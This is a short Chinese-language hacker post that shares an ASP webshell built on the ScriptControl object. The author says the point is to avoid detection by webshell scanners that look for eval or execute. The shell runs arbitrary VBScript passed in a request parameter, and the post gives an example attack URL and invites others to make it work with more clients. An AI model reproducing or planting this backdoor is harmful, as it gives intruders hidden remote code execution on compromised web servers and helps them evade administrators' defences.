一直很奇怪,為什麼客戶端裡面不是eval,就是execute,不管我藏哪裡,管理員用個什麼XX webshell掃描器,就能踢我屁股了。今天重新研究了下VB裡面的ScriptControl元件,發現asp裡面也能呼叫。研究了下方法,後來和lcx討論了下。得到如下代碼,在此感謝前輩的指點,呵呵。
程式碼很簡單,就不多做解釋了,以免有人罵我裝。
複製代碼代碼如下:
<%
Set o = Server.CreateObject(ScriptControl)
o.language = vbscript
o.addcode(Request(SubCode)) '參數SubCode作為過程碼
o.run e,Server,Response,Request,Application,Session,Error '參數名稱e 呼叫之,同時壓入6個基底物件作為參數
'呼叫範例:
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%2 0eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>
注意,雖然能用了,但是實驗發現只有lake2客戶端能用。希望有牛人出來改得通用一點。呵呵。自己寫個客戶端專用也不錯。